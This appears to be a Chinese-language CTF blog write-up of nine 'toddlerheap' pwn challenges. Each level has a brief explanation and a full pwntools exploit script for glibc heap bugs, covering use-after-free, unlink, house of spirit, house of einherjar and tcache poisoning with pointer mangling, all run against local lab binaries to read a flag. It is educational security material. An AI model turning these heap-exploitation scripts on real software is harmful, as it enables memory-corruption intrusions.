# 前言 冲冲冲,尽快拿下这一章然后学 FSOP,同时空下来学点 IoT,提前进军 realworld 。 # Level 1.0 ## Information - Category: Pwn ## Description > Leverage consolidation to obtain the flag. ## Write-up 先填满 tcache,然后再申请同样大小就进入 fastbin 了,接着释放,让它可再次被分配, 由于 malloc 超出 smallbin 范围的 chunk 会先触发 `malloc_consolidate`,强制合并所 有 fastbin 到 top chunk,所以 `read_flag` 可以返回我们 fastbin 中那个 free 的地 址,而由于 free 的时候并没有清除结构体中保存的指针,所以我们可以通过 puts UAF 泄 漏其值。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, args, context, flat, process, raw_input, remote, ) FILE = "/challenge/toddlerheap_level1.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary libc = ELF("/challenge/lib/libc.so.6") def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx)) def read_flag(): target.sendlineafter(b": ", b"read_flag") def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() for i in range(7): malloc(i, 0) malloc(7, 0) for i in range(7): free(i) raw_input("DEBUG") free(7) read_flag() puts(7) quit() target.interactive() if __name__ == "__main__": main() ``` # Level 2.0 ## Information - Category: Pwn ## Description > Leverage consolidation to obtain the flag. ## Write-up ```c if ( strcmp(s1, "read_flag") ) break; for ( i = 0; i <= 1; ++i ) { printf("[*] flag_buffer = malloc(%d)n", 1434); size_4 = malloc(0x59Au); printf("[*] flag_buffer = %pn", size_4); } fd = open("/flag", 0); read(fd, size_4, 0x80u); puts("[*] read the flag!"); } ``` 这次就是 `read_flag` 中会执行两次 malloc,flag 被写到最后一次 malloc 返回的地址 中。 那还不简单,丢两个与 malloc 申请的大小一样的 chunk 到 unsorted bin 中,这样切蛋 糕切出来第二块的地址正好就是 flag 的 chunk 地址了。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, args, context, flat, process, raw_input, remote, ) FILE = "/challenge/toddlerheap_level2.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def calloc(idx, size): target.sendlineafter(b": ", b"calloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx)) def read_flag(): target.sendlineafter(b": ", b"read_flag") def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() for i in range(7): malloc(i, 0) for i in range(7): free(i) calloc(0, 0x59A) calloc(1, 0x59A) calloc(2, 0) free(1) free(0) raw_input("DEBUG") read_flag() puts(1) quit() target.interactive() if __name__ == "__main__": main() ``` # Level 3.0 ## Information - Category: Pwn ## Description > Leverage consolidation to obtain the flag. ## Write-up 和上题类似,区别在于这次我们可以 malloc 的大小被限制为必须 `> 0x41F`,而 `read_f lag` 内部使用的 malloc 大小为 `0x390`,导致无法精确分配到我们想要的 chunk,咋办 ? 回忆一下 malloc 和相邻 chunk consolidation 的机制,我们注意到 malloc 的查找顺序 为 `tcachebins -> fastbins -> smallbins -> unsorted bins -> ...` 由于这里我们只 能请求 `> 0x41F` 大小的 chunk,所以可以直接排除 `tcachebins`、`fastbins` 和 `sma llbins` 的可能性,那么 malloc 会直接查 `unsorted bins`,有合适的就直接返回,如果 远大于请求大小就切割然后归类,不够就去下一个 bin 中找…… 那我们只要设计一个 `[free chunk with controled idx][guard][free chunk with contr oled idx][guard]...` 这样的堆布局,重复 11 组即可。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, args, context, flat, process, raw_input, remote, ) FILE = "/challenge/toddlerheap_level3.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx)) def read_flag(): target.sendlineafter(b": ", b"read_flag") def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() for i in range(12): # raw_input("DEBUG") malloc(i, 0x420) # raw_input("DEBUG") malloc(15, 0x420) for i in range(12): # raw_input("DEBUG") free(i) read_flag() puts(11) quit() target.interactive() if __name__ == "__main__": main() ``` # Level 4.0 ## Information - Category: Pwn ## Description > Perform an advanced heap exploit to obtain the flag. ## Write-up 这题就是打个高版本 unlink,看了下,发现 2.41 的打法也是一样的,那我盲猜 2.42 应 该也没变。 不会 unlink 的可以看我写的 [Doubly Linked, Doubly Doomed](/posts/pwn-notes/pwn-t rick-notes/#doubly-linked-doubly-doomed) 。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, args, context, flat, process, raw_input, remote, ) FILE = "./toddlerheap_level4.0_patched" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def safe_read(idx, data): target.sendlineafter(b": ", b"safe_read") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def send_flag(): target.sendlineafter(b": ", b"send_flag") def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0xBB8 * 3) free(0) malloc(15, 0xBB8) # guard malloc(1, 0xBB8) malloc(2, 0xBB8) payload = flat( b"A" * 0xBB0, 0, 0xBC1, 0, # prev_size (0xBC0 - 0x10) | 0x1, # chunk_size 0x404130, # fd 0x404138, # bk 0, # fd_nextsize 0, # bk_nextsize b"A" * 0xB80, 0xBC0 - 0x10, # prev_size 0xBC1 & ~0x1, # chunk_size ) raw_input("DEBUG") safe_read(0, payload) free(2) payload = flat( b"A" * 0x98, 0x1, ) raw_input("DEBUG") safe_read(1, payload) send_flag() quit() target.interactive() if __name__ == "__main__": main() ``` # Level 5.0 ## Information - Category: Pwn ## Description > Perform an advanced heap exploit to obtain the flag. ## Write-up 也是 unlink,unlink 以后我们就能控制 `alloc_struct` 了,由于这里面保存的都是 mal loc 的返回值,所以我们还可以利用它来泄漏堆地址,定位 flag 的位置,最后,只需要想 办法让 malloc 返回 flag 的地址即可,我通过 overlapping chunks 实现的这一点。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, args, context, flat, process, raw_input, remote, ) FILE = "/challenge/toddlerheap_level5.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def read(idx, size, data): target.sendlineafter(b": ", b"read") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) target.send(data) def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0x420) malloc(1, 0x420) malloc(2, 0x420) payload = flat( 0, 0x420, 0x404148 - 0x18, 0x404148 - 0x10, 0, 0, b"A" * 0x3F0, 0x420, 0x431 & ~0x1, ) # raw_input("DEBUG") read(1, 0x430, payload) free(2) payload = flat( b"A" * 0x10, ) # raw_input("DEBUG") read(1, 0x1337, payload) puts(1) target.recvuntil(b"Data: " + b"A" * 0x10) heap = int.from_bytes(target.recvline().strip(), "little") overlapping_chunksize = heap - 0x890 overlapping_chunk = heap - 0x880 target.success(f"heap: {hex(heap)}") payload = flat( 0, 0, overlapping_chunksize, ) # raw_input("DEBUG") read(1, 0x1337, payload) payload = flat( 0, 0x881, ) # raw_input("DEBUG") read(0, 0x1337, payload) payload = flat( 0, 0, overlapping_chunk, ) # raw_input("DEBUG") read(1, 0x1337, payload) free(0) malloc(5, 0x870) # raw_input("DEBUG") read(5, 0x1337, flat(b"A" * 0x440)) puts(5) quit() target.interactive() if __name__ == "__main__": main() ``` # Level 6.0 ## Information - Category: Pwn ## Description > Perform an advanced heap exploit to obtain the flag. ## Write-up house of spirit 吧,只要伪造一个 free chunk,就可以让 calloc 返回这个 chunk 的地 址了,但是要注意 calloc 会将 chunk 内存清空。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, args, context, flat, process, raw_input, remote, ) FILE = "/challenge/toddlerheap_level6.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def calloc(idx, size): target.sendlineafter(b": ", b"calloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def safer_read(idx, data): target.sendlineafter(b": ", b"safer_read") target.sendlineafter(b"Index: ", str(idx).encode()) target.send(data) def read_to_global(size, data): target.sendlineafter(b": ", b"read_to_global") target.sendlineafter(b"read_size: ", str(size).encode()) target.send(data) def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() target.recvuntil(b"Reading the flag into ") flag = int(target.recvline().strip()[:-1], 16) for i in range(7): calloc(i, 0) free(i) calloc(0, 0x10) calloc(1, 0x10) free(1) free(0) puts(1) target.recvuntil(b"Data: ") pos = int.from_bytes(target.recvline().strip(), "little") puts(0) target.recvuntil(b"Data: ") heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little")) target.success(f"flag: {hex(flag)}") target.success(f"pos: {hex(pos)}") target.success(f"heap: {hex(heap)}") payload = flat( { 0x2E0: 0, 0x2E8: 0x21, 0x2F0: b"A" * 0x8, } ) # raw_input("DEBUG") read_to_global(0x1337, payload) # raw_input("DEBUG") safer_read(0, flat(mangle(pos, flag - 0x28))) calloc(0, 0x18) raw_input("DEBUG") calloc(1, 0x18) raw_input("DEBUG") safer_read(1, b"A" * 0x18) puts(1) quit() target.interactive() if __name__ == "__main__": main() ``` # Level 7.0 ## Information - Category: Pwn ## Description > Perform an advanced heap exploit to obtain the flag. ## Write-up 与上题类似,也是要想办法令 calloc 返回一个包含 flag 的 chunk,区别在于这次不能往 bss 写入数据了。但是调试发现,bss 保存 size 的位置与保存 flag 的位置距离很近, 因此我们也就可以利用这一点来伪造 flag chunk 的 chunk_size,令 calloc 认为这是一 个合法的 chunk 并返回。 虽然这次 bss 中存储 size 的位置和 flag 位置距离近看上去很刻意,但 bss 下面一般紧 邻着 heap 确实是一个通常容易被忽略的地方,可以注意刻意培养一下自己对内存布局的敏 感度: ```asm showLineNumbers=false {8-10} pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File (set vmmap-prefe r-relpaths on) 0x557a0689e000 0x557a0689f000 r--p 1000 0 toddlerheap_level7.0_ patched 0x557a0689f000 0x557a068a0000 r-xp 1000 1000 toddlerheap_level7.0_ patched 0x557a068a0000 0x557a068a1000 r--p 1000 2000 toddlerheap_level7.0_ patched 0x557a068a1000 0x557a068a2000 r--p 1000 2000 toddlerheap_level7.0_ patched 0x557a068a2000 0x557a068a3000 rw-p 1000 3000 toddlerheap_level7.0_ patched 0x557a068a3000 0x557a068a7000 rw-p 4000 5000 toddlerheap_level7.0_ patched 0x557a3c52b000 0x557a3c54c000 rw-p 21000 0 [heap] ``` ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, args, context, flat, process, raw_input, remote, ) FILE = "/challenge/toddlerheap_level7.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def calloc(idx, size): target.sendlineafter(b": ", b"calloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def safer_read(idx, data): target.sendlineafter(b": ", b"safer_read") target.sendlineafter(b"Index: ", str(idx).encode()) target.send(data) def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() target.recvuntil(b"Reading the flag into ") flag = int(target.recvline().strip()[:-1], 16) for i in range(7): calloc(i, 0) free(i) calloc(0, 0) calloc(1, 0) free(1) free(0) puts(1) target.recvuntil(b"Data: ") pos = int.from_bytes(target.recvline().strip(), "little") puts(0) target.recvuntil(b"Data: ") heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little")) target.success(f"flag: {hex(flag)}") target.success(f"pos: {hex(pos)}") target.success(f"heap: {hex(heap)}") calloc(10, 0x20) calloc(0, 0x10) calloc(1, 0x10) free(1) free(0) payload = flat( mangle(pos, flag - 0x28), ) raw_input("DEBUG") safer_read(0, payload) calloc(0, 0x10) # raw_input("DEBUG") calloc(0, 0x18) raw_input("DEBUG") safer_read(0, b"A" * 0x18) puts(0) quit() target.interactive() if __name__ == "__main__": main() ``` # Level 8.0 ## Information - Category: Pwn ## Description > Perform an advanced heap exploit to obtain the flag. ## Write-up 本来以为是要打 largebin attack,结果发现不是,而是 house of einherjar……~~einherj ar?E (FLAGS) in her jar !(误~~ 对于这章都快结束了还没有学到 largebin attack 还是有点小失落的,不过却也为多学了 一个 house 而高兴…… ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, args, context, flat, process, raw_input, remote, ) FILE = "/challenge/toddlerheap_level8.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def read_copy(idx, data): target.sendlineafter(b": ", b"read_copy") target.sendlineafter(b"Index: ", str(idx).encode()) target.send(data) def read_flag(): target.sendlineafter(b": ", b"read_flag") def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0) malloc(1, 0) free(1) free(0) malloc(0, 0) malloc(1, 0) puts(1) target.recvuntil(b"Data: ") pos = int.from_bytes(target.recvline().strip(), "little") puts(0) target.recvuntil(b"Data: ") heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little")) target.success(f"pos: {hex(pos)}") target.success(f"heap: {hex(heap)}") flag = heap + 0x8C0 fake_chunk = heap + 0x20 malloc(0, 0x38) malloc(1, 0x28) malloc(2, 0xF8) payload = flat( 0, 0x60, fake_chunk, fake_chunk, ) # raw_input("DEBUG") read_copy(0, payload) payload = flat( b"A" * 0x20, 0x60, ) # raw_input("DEBUG") read_copy(1, payload) for i in range(7, 14): malloc(i, 0xF8) for i in range(7, 14): free(i) # raw_input("DEBUG") free(2) malloc(3, 0x158) malloc(4, 0x28) free(4) free(1) payload = flat( b"A" * 0x20, 0, 0x31, mangle(pos, flag), ) # raw_input("DEBUG") read_copy(3, payload) # raw_input("DEBUG") malloc(0, 0x28) malloc(0, 0x28) # raw_input("DEBUG") read_flag() puts(0) quit() target.interactive() if __name__ == "__main__": main() ``` # Level 9.0 ## Information - Category: Pwn ## Description > Perform an advanced heap exploit to obtain the flag. ## Write-up free 后只是清空了 size 却没有清空 ptr,所以可以将 unsorted bin 中的 chunk 丢到 t cache 中,再利用 unsorted bin 的合并机制来 overlapping 破坏 tcache 的 fd 指针。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, args, context, flat, process, raw_input, remote, ) FILE = "/challenge/toddlerheap_level9" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def safer_read(idx, data): target.sendlineafter(b": ", b"safer_read") target.sendlineafter(b"Index: ", str(idx).encode()) target.send(data) def send_flag(): target.sendlineafter(b": ", b"send_flag") def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() authenticated = 0x404260 malloc(0, 0x10) malloc(1, 0x10) free(1) free(0) malloc(1, 0x10) malloc(0, 0x10) puts(0) target.recvuntil(b"Data: ") pos = int.from_bytes(target.recvline().strip(), "little") puts(1) target.recvuntil(b"Data: ") heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little")) target.success(f"pos: {hex(pos)}") target.success(f"heap: {hex(heap)}") for i in range(7, 14): malloc(i, 0x100) malloc(0, 0x100) malloc(1, 0x100) malloc(15, 0x10) # guard for i in range(7, 14): free(i) free(1) free(0) malloc(0, 0x100) free(1) malloc(0, 0x210) payload = flat( { 0x108: 0x111, 0x110: mangle(pos, authenticated), } ) # raw_input("DEBUG") safer_read(0, payload) malloc(0, 0x100) malloc(0, 0x100) safer_read(0, b"A") send_flag() quit() target.interactive() if __name__ == "__main__": main() ```












